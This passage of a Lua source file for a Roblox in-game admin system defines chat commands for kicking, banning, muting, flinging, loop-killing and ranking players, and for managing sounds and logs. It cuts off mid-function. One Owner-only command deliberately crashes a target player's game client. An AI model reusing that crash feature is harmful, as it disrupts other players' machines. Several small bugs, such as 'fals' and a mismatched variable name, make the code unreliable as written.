5646 local Char = Player.Character
5647 if PrevChar and PrevChar ~= Char then
5648 PrevChar:Destroy()
5649 end
5650 PrevChar = Char
5651 local CanDie = true
5652 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5653 if CanDie == false then
5654 break
5655 end
5656 ypcall(function() Char.Parent = Server.Lighting end)
5657 wait(0.1)
5658 ypcall(function() Char.Parent = Server.Workspace end)
5659 wait(0.1)
5660 end
5661 end
5662 end)()
5663 end
5664 else
5665 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5666 end
5667 end};
5668
5669 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5670 local Players = STRING:Scan(Arguments[1], Speaker)
5671 for _,Player in pairs(Players) do
5672 for Num,Name in pairs(LoopKills) do
5673 if Player.Name == Name then
5674 table.remove(LoopKills, Num)
5675 end
5676 end
5677 end
5678 end};
5679
5680 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5681 SOUND:PlayGlobalSound(Arguments[1])
5682 end};
5683
5684 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5685 SOUND:StopGlobalSound()
5686 end};
5687
5688 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5689 local Pitch = tonumber(Arguments[1])
5690 if not Pitch then Pitch = 1 end
5691 if Sound then
5692 Sound.Pitch = Pitch
5693 end
5694 end};
5695
5696 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5697 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5698 local Items = MARKET:SearchItem(9, Arguments[1])
5699 if Items then
5700 if #Items ~= 0 then
5701 local List,Correlate = {},{}
5702 for Num,Info in pairs(Items) do
5703 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5704 table.insert(List, Display)
5705 Correlate[Display] = Info.AssetId
5706 end
5707 CloseGui:Invoke()
5708
5709 local CanClick = true
5710 if Rank == "Member" then CanClick = false end
5711 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5712 Clicked.Event:connect(function(ClickName)
5713 local OldSoundId = nil
5714 SOUND:StopGlobalSound()
5715 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5716 SOUND:PlayGlobalSound(Correlate[ClickName])
5717 end
5718 end)
5719 else
5720 CloseGui:Invoke()
5721 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5722 end
5723 else
5724 CloseGui:Invoke()
5725 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5726 end
5727 end, Http = true};
5728
5729 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5730 local Players = STRING:Scan(Arguments[1], Speaker)
5731 for _,Player in pairs(Players) do
5732 if Player.Character then
5733 CORE:ExecuteResource("Gun", Player.Character)
5734 end
5735 end
5736 end};
5737
5738 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5739 local Players = STRING:Scan(Arguments[1], Speaker)
5740 for _,Player in pairs(Players) do
5741 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5742 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5743 Player.Character.Humanoid.WalkSpeed = 0
5744 Player.Character.Torso.Anchored = true
5745 coroutine.wrap(function()
5746 local OldCFrame = Player.Character.Torso.CFrame
5747 for i = 0,8,0.1 do
5748 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5749 wait()
5750 end
5751 Player.Character.Torso.Anchored = false
5752 Player.Character:BreakJoints()
5753 CORE:InvisiblePlayer(Player)
5754 end)()
5755 end
5756 end
5757 end};
5758
5759 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
5760 local Players = STRING:Scan(Arguments[1], Speaker)
5761 for _,Player in pairs(Players) do
5762 CORE:AnchorPlayer(Player)
5763 end
5764 end};
5765
5766 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
5767 local Players = STRING:Scan(Arguments[1], Speaker)
5768 for _,Player in pairs(Players) do
5769 CORE:UnanchorPlayer(Player)
5770 end
5771 end};
5772
5773 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
5774 local Players = STRING:Scan(Arguments[1], Speaker)
5775 for _,Player in pairs(Players) do
5776 CORE:InvisiblePlayer(Player)
5777 end
5778 end};
5779
5780 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
5781 local Players = STRING:Scan(Arguments[1], Speaker)
5782 for _,Player in pairs(Players) do
5783 CORE:VisiblePlayer(Player)
5784 end
5785 end};
5786
5787 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
5788 local Players = STRING:Scan(Arguments[1], Speaker)
5789 for _,Player in pairs(Players) do
5790 if Player.Character and Player.Character:FindFirstChild("Torso") then
5791 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
5792 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
5793 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
5794 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
5795 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
5796 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
5797 Fly:Play()
5798 local Touched = false
5799 coroutine.wrap(function()
5800 repeat wait(0.1)
5801 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
5802 until not Ast or Ast.Parent == nil or Touched == true
5803 end)()
5804 Ast.Touched:connect(function(Part)
5805 if Touched == false then
5806 Touched = true
5807 Part:BreakJoints()
5808 local Boom = Instance.new("Explosion", Workspace)
5809 Boom.Position = Ast.Position
5810 Boom.BlastPressure = 1000000
5811 Boom.BlastRadius = 30
5812 Fire.Heat = 0
5813 Smoke.RiseVelocity = 0
5814 Fly:Stop()
5815 BoomSound:Play()
5816 coroutine.wrap(function()
5817 wait(3)
5818 BoomSound:Stop()
5819 if Ast and Ast.Parent ~= nil then
5820 Ast:Destroy()
5821 end
5822 end)()
5823 end
5824 end)
5825 end
5826 end
5827 end};
5828
5829 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
5830 local Success = {}
5831 local Players = STRING:Scan(Arguments[1], Speaker)
5832 for _,Player in pairs(Players) do
5833 local PlayerRank = RANK:GetRank(Player)
5834 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5835 CORE:Kick(Player)
5836 table.insert(Success, Player)
5837 end
5838 end
5839 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
5840 end};
5841
5842 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
5843 local Success = {}
5844 local Players = STRING:Scan(Arguments[1], Speaker)
5845 for _,Player in pairs(Players) do
5846 local PlayerRank = RANK:GetRank(Player)
5847 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5848 RANK:RemoveRank(Player)
5849 table.insert(Settings.Ranks.Banned, Player.Name)
5850 CORE:Kick(Player)
5851 table.insert(Success, Player)
5852 end
5853 end
5854 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
5855 end};
5856
5857 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
5858 local Success = {}
5859 local Players = STRING:Scan(Arguments[1], Speaker)
5860 for _,Player in pairs(Players) do
5861 local PlayerRank = RANK:GetRank(Player)
5862 if PlayerRank ~= "Owner" then
5863 RANK:RemoveRank(Player)
5864 table.insert(Settings.Ranks.Crashed, Player.Name)
5865 CORE:Crash(Player)
5866 table.insert(Success, Player)
5867 end
5868 end
5869 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
5870 end};
5871
5872 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
5873 local Success = {}
5874 local Players = STRING:Scan(Arguments[1], Speaker)
5875 for _,Player in pairs(Players) do
5876 local PlayerRank = RANK:GetRank(Player)
5877 if PlayerRank ~= "Owner" then
5878 RANK:RemoveRank(Player)
5879 table.insert(Settings.Ranks.Muted, Player.Name)
5880 GUI:CoreGui(Player, "Chat", false)
5881 table.insert(Success, Player)
5882 end
5883 end
5884 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
5885 end};
5886
5887 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
5888 local Players = STRING:Scan(Arguments[1], Speaker)
5889 if #Players > 0 then
5890 local Success = {}
5891 for _,Player in pairs(Players) do
5892 local RankName,RankNum = RANK:GetRank(Player)
5893 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
5894 if not RANK:IsSupremeOwner(Player) then
5895 if RankName == "Muted" then
5896 GUI:CoreGui(Player, "Chat", true)
5897 end
5898 if RankNum > 0 then
5899 GUI:TellNotAdmin(Player)
5900 end
5901 RANK:RemoveRank(Player)
5902 table.insert(Success, Player)
5903 end
5904 end
5905 end
5906 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
5907 else
5908 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5909 if Player then
5910 local RankNum = RANK:ConvertRank(PlayerRank)
5911 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5912 if not RANK:IsSupremeOwner(Player) then
5913 RANK:RemoveRank(Player)
5914 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
5915 end
5916 end
5917 end
5918 end
5919 end};
5920
5921 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
5922 local Players = STRING:Scan(Arguments[1], Speaker)
5923 if #Players > 0 then
5924 local Success = {}
5925 for _,Player in pairs(Players) do
5926 local PlayerRank,RankNum = RANK:GetRank(Player)
5927 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
5928 RANK:RemoveRank(Player)
5929 table.insert(Settings.Ranks.Member, Player.Name)
5930 GUI:TellAdmin(Player)
5931 table.insert(Success, Player)
5932 end
5933 end
5934 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
5935 else
5936 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5937 if Player then
5938 local RankNum = RANK:ConvertRank(PlayerRank)
5939 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5940 if not RANK:IsSupremeOwner(Player) then
5941 RANK:RemoveRank(Player)
5942 table.insert(Settings.Ranks.Member, Player)
5943 end
5944 end
5945 else
5946 RANK:RemoveRank(Arguments[1])
5947 table.insert(Settings.Ranks.Member, Arguments[1])
5948 end
5949 end
5950 end};
5951
5952 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
5953 local Players = STRING:Scan(Arguments[1], Speaker)
5954 if #Players > 0 then
5955 local Success = {}
5956 for _,Player in pairs(Players) do
5957 local PlayerRank,RankNum = RANK:GetRank(Player)
5958 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
5959 RANK:RemoveRank(Player)
5960 table.insert(Settings.Ranks.Admin, Player.Name)
5961 GUI:TellAdmin(Player)
5962 table.insert(Success, Player)
5963 end
5964 end
5965 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
5966 else
5967 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5968 if Player then
5969 local RankNum = RANK:ConvertRank(PlayerRank)
5970 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5971 if not RANK:IsSupremeOwner(Player) then
5972 RANK:RemoveRank(Player)
5973 table.insert(Settings.Ranks.Admin, Player)
5974 end
5975 end
5976 else
5977 RANK:RemoveRank(Arguments[1])
5978 table.insert(Settings.Ranks.Admin, Arguments[1])
5979 end
5980 end
5981 end};
5982
5983 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5984 local Players = STRING:Scan(Arguments[1], Speaker)
5985 if RANK:IsSupremeOwner(Speaker) then
5986 if #Players > 0 then
5987 local Success = {}
5988 for _,Player in pairs(Players) do
5989 if not RANK:IsSupremeOwner(Player) then
5990 RANK:RemoveRank(Player)
5991 table.insert(Settings.Ranks.Owner, Player.Name)
5992 GUI:TellAdmin(Player)
5993 table.insert(Success, Player)
5994 end
5995 end
5996 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
5997 else
5998 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5999 if Player then
6000 local RankNum = RANK:ConvertRank(PlayerRank)
6001 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6002 if not RANK:IsSupremeOwner(Player) then
6003 RANK:RemoveRank(Player)
6004 table.insert(Settings.Ranks.Owner, Player)
6005 end
6006 end
6007 else
6008 RANK:RemoveRank(Arguments[1])
6009 table.insert(Settings.Ranks.Owner, Arguments[1])
6010 end
6011 end
6012 end
6013 end};
6014
6015 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6016 local TableStorage = {}
6017 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6018 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6019 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6020 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6021 end};
6022
6023 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6024 local TableStorage = {}
6025 for _,Player in pairs(Server.Players:GetChildren()) do
6026 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6027 if ValidAdmin then
6028 if PlayerRank == "Owner" then
6029 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6030 else
6031 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6032 end
6033 end
6034 end
6035 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6036 end};
6037
6038 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6039 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6040 end};
6041
6042 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6043 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6044 end};
6045
6046 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6047 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6048 end};
6049
6050 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6051 local TableStorage = {}
6052 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6053 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6054 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6055 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6056 end};
6057
6058 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6059 local TableStorage = {}
6060 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6061 for Num,PlayerName in pairs(PlayerNames) do
6062 if PlayerRank == "Owner" then
6063 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6064 else
6065 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6066 end
6067 end
6068 end
6069 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6070 end};
6071
6072 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6073 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6074 end};
6075
6076 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6077 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6078 end};
6079
6080 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6081 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6082 end};
6083
6084 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6085 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6086 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6087 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6088 end};
6089
6090 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6091 CommandLogs = {}
6092 end};
6093
6094 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6095 ChatLogs = {}
6096 end};
6097
6098 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6099 IRC.Logs = {}
6100 end};
6101
6102 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6103 CommandLogs = {}
6104 ChatLogs = {}
6105 IRC.Logs = {}
6106 end};
6107
6108 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6109 Server.GDS:SetAsync("ExploitLog", {})
6110 end};
6111
6112 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6113 local List,Correlate,SoundName = {},{},{}
6114 for Name,Info in pairs(SoundList) do
6115 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6116 table.insert(List, View)
6117 Correlate[View] = Info[1]
6118 end
6119
6120 local CanClick = true
6121 if Rank == "Member" then CanClick = false end
6122 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6123 Clicked.Event:connect(function(ClickName)
6124 local OldSoundId = nil
6125 SOUND:StopGlobalSound()
6126 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6127 SOUND:PlayGlobalSound(Correlate[ClickName])
6128 end
6129 end)
6130 end};
6131
6132 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6133 SOUND:SyncSoundList(Speaker)
6134 end};
6135
6136 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6137 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6138 if Answer == "Yes" then
6139 Server.Workspace.Terrain:Clear()
6140 end
6141 end};
6142
6143 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6144 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6145 if Answer == "Yes" then
6146 for _,Obj in pairs(Workspace:GetChildren()) do
6147 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6148 Obj:Destroy()
6149 end
6150 end
6151 end
6152 end};
6153
6154 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6155 CORE:MakeBase()
6156 end};
6157
6158 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6159 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6160 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6161 CustomSounds = {}
6162 end
6163 if tostring(Arguments[1]) then
6164 local Request = MARKET:GetItemInfo(Arguments[1])
6165 if Request.AssetTypeId == 3 then
6166 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6167 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6168 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6169 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6170 else
6171 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6172 end
6173 end
6174 end};
6175
6176 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6177 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6178 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6179 CustomSounds = {}
6180 end
6181
6182 local Removed = {}
6183 for Num,Data in pairs(CustomSounds) do
6184 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6185 table.insert(Removed, Data[1])
6186 table.remove(CustomSounds, Num)
6187 end
6188 end
6189
6190 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6191
6192 SOUND:SyncSoundList()
6193
6194 if #Removed > 0 then
6195 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6196 else
6197 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6198 end
6199 end};
6200
6201 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6202 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6203 if Answer == "Yes" then
6204 Server.GDS:SetAsync("MML Custom Sounds", {})
6205 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6206 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6207 end
6208 end};
6209
6210 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6211 local Players = STRING:Scan(Arguments[1], Speaker)
6212 local SpeakerTesting = false
6213 for _,Player in pairs(Players) do
6214 if Player == Speaker then SpeakerTesting = true end
6215 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6216 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6217 --wait(10)
6218 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6219 end)() end
6220 end
6221 if SpeakerTesting == false then
6222 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6223 end
6224 end};
6225
6226 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6227 local Players = STRING:Scan(Arguments[1], Speaker)
6228 local Compile = {}
6229 for _,Player in pairs(Players) do
6230 local PlayerInfo = ClientInfo[Player.Name]
6231 if PlayerInfo then
6232 if PlayerInfo.Benchmark then
6233 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6234 else
6235 table.insert(Compile, Player.Name..": No score")
6236 end
6237 end
6238 end
6239 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6240 end};
6241
6242 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6243 local Players = STRING:Scan(Arguments[1], Speaker)
6244 for _,Player in pairs(Players) do
6245 CORE:Chatted(Arguments[2], Player, true)
6246 end
6247 end};
6248
6249 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6250 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6251 end};
6252
6253 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6254 local Players = STRING:Scan(Arguments[1], Speaker)
6255 for _,Player in pairs(Players) do
6256 if Player.Character ~= nil then
6257 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6258 if Player.Character.Torso:FindFirstChild("Neck") then
6259 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6260 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6261 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6262 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6263 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6264 end
6265 end
6266 end
6267 end
6268 end};
6269
6270 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6271 local Players = STRING:Scan(Arguments[1], Speaker)
6272 for _,Player in pairs(Players) do
6273 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6274 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6275 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6276 end
6277 end
6278 end};
6279
6280 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6281 local Players = STRING:Scan(Arguments[1], Speaker)
6282 for _,Player in pairs(Players) do
6283 local _,RankNum = RANK:GetRank(Player)
6284 if RankNum <= RANK:ConvertRank(Rank) then
6285 CORE:FlingPlayer(Player)
6286 end
6287 end
6288 end};
6289
6290 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6291 local Players = STRING:Scan(Arguments[1], Speaker)
6292 for _,Player in pairs(Players) do
